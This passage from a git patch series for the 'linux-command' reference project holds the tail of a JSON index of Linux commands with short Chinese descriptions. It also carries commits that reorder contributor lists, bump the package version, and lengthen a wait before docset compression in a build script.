磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modetest":{"n":"modetest","p":"/modetest","d":"DRM/KMS驱动程序libdrm中的模式测试工具"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mtr":{"n":"mtr","p":"/mtr","d":"`mtr` 结合了 `traceroute` 和 `ping` 程序的功能，是一款简单的网络诊断工具"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"nc是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统及其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性(ipv4)"},"ping6":{"n":"ping6","p":"/ping6","d":"测试主机之间网络的连通性(ipv6)"},"pip":{"n":"pip","p":"/pip","d":"Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块"},"pkexec":{"n":"pkexec","p":"/pkexec","d":"以其他用户身份执行命令"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"prtstat":{"n":"prtstat","p":"/prtstat","d":"显示进程信息"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"reposync":{"n":"reposync","p":"/reposync","d":"同步yum存储库到本地目录"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"sha256sum":{"n":"sha256sum","p":"/sha256sum","d":"用于计算文件的 SHA-256 哈希值"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"sshpass":{"n":"sshpass","p":"/sshpass","d":"免交互 SSH 登录工具。"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将保存在 PCAP 文件包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 14ce75c9c8ca717e17628647bdc02679f3c051a3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 3 Sep 2024 05:35:50 +0000 Subject: [PATCH 0915/1019] doc: update README.md. --- README.md | 46 +++++++++++++++++++++++----------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index e964f2474f5..0d517ea15ec 100644 --- a/README.md +++ b/README.md @@ -266,49 +266,49 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. L 圆头圆脑 clay-wangzhi -Glett 烟草的香味 -Jayin Tang +Glett 丛林意志 -Zijing Zhang +Jayin Tang Fubin Zhang __FresHmaN -dulltackle -ernest +Zijing Zhang 谈笑风生间 +ernest +dulltackle +zyy2477 rgshare loverainye +James Wang +Lnkstls lavaicer SteveLauC -Lnkstls -James Wang -Qliangw Wang Yujia alfred +Qliangw 沙漠之子 -zyy2477 Shell xhal VVatt gggwvg -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero -YEUNGCHIE Dazhuangw Alterem YH -jcdj666 -jqz3.tech -juemuren4449 -kassadin -kid1412621 +YEUNGCHIE +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +FunKeen +BingCoke +Ein Verne leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech +jcdj666 lewis1573 linuxwd Ricardowang From 8555c10fb16118fa10cfaf4f3a483bb2e8b4bda4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 3 Sep 2024 05:35:51 +0000 Subject: [PATCH 0916/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 46 +++++++++++++++++++-------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index d6c1e7bb095..2eac794cb6d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -11,49 +11,49 @@ L 圆头圆脑 clay-wangzhi -Glett 烟草的香味 -Jayin Tang +Glett 丛林意志 -Zijing Zhang +Jayin Tang Fubin Zhang __FresHmaN -dulltackle -ernest +Zijing Zhang 谈笑风生间 +ernest +dulltackle +zyy2477 rgshare loverainye +James Wang +Lnkstls lavaicer SteveLauC -Lnkstls -James Wang -Qliangw Wang Yujia alfred +Qliangw 沙漠之子 -zyy2477 Shell xhal VVatt gggwvg -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero -YEUNGCHIE Dazhuangw Alterem YH -jcdj666 -jqz3.tech -juemuren4449 -kassadin -kid1412621 +YEUNGCHIE +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +FunKeen +BingCoke +Ein Verne leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech +jcdj666 lewis1573 linuxwd Ricardowang From 424972567368f0518da79aac5c449afe3e645ffe Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 13:44:41 +0800 Subject: [PATCH 0917/1019] released v1.19.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index c52d9644e3a..b4051540693 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.18.0", + "version": "1.19.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 16c4a08fdee723e07ad6e9cb751a8198580e6b13 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 15:21:42 +0800 Subject: [PATCH 0918/1019] fix(docset): resolve error during docset file generation. #601 --- scripts/dash.mjs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/scripts/dash.mjs b/scripts/dash.mjs index fc518caa074..fc62b40f9b5 100644 --- a/scripts/dash.mjs +++ b/scripts/dash.mjs @@ -118,7 +118,9 @@ async function build() { console.info('compressing tgz'); // https://github.com/node-modules/compressing/issues/42 建议最好休眠15s，等待其余资源复制完毕 - spawn("sleep", ['15']) + // 确保所有操作完成后再压缩 + await new Promise(resolve => setTimeout(resolve, 30000)); // 增加到 30 秒 + const outputPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.tgz'); await tgz.compressDir(DOCSET_DIR, outputPath); } From 3c6f616c5ffd74a5a74ef25733da300d9deb6242 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 15:22:47 +0800 Subject: [PATCH 0919/1019] released v1.19.1 #601 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index b4051540693..bceaab71802 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.19.0", + "version": "1.19.1", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 0f186819584d47074b67d3981a118c76aaddbdf0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" 